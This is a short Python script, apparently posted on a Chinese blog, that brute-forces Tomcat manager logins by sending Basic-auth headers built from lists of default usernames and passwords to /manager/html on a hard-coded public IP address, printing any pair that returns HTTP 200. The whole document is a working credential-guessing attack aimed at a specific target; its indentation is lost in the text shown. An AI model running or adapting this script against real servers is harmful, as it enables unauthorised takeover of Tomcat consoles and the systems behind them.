import base64
from time import sleep
import requests
import ssl
username=['admin', 'root', 'tomcat','role1','QCC','xampp','ADMIN','cxsdk','j2deployer','ovwebusr']
password=['admin', 'tomcat','root', '123456', 'admin123','j5Brn9','changethis','role1','None','QLogic66','s3cret','ADMIN','kdsxc','j2deployer','OvW*busr1']
password_base64 = []
for i in username:
for j in password:
password_base64.append(base64.b64encode((i+":"+j).encode("utf8")).decode("utf8"))
def cheek_tomcat(url):
i = 0
print(f"[+] startig tomcat cheek ---{url}---")
con = int(len(password_base64))
for basic in password_base64:
i = i + 1
print("[+] 正在进行第 {} 组密码暴破## ".format(i),end="\r")
headers = {
"Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*",
"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
"Content-Type":"application/x-www-form-urlencoded",
'Authorization': 'Basic %s' % basic
}
# sleep(1)
try:
req = requests.get(url, headers=headers, timeout=5,verify=False)
if req.status_code == 200:
print("[+] status_code:",req.status_code, "tomcat爆破成功:",base64.b64decode(basic.encode("utf-8")).decode("utf-8"))
else:
pass
except Exception as e:
print(e)
target='''
118.114.244.201:28181
'''
for i in target.strip().split("\n"):
if(i[1].isdigit()):
cheek_tomcat("http://"+i+"/manager/html")
else:
cheek_tomcat(i+"/manager/html")
tomcat 弱口令爆破脚本
于 2023-03-19 22:31:00 首次发布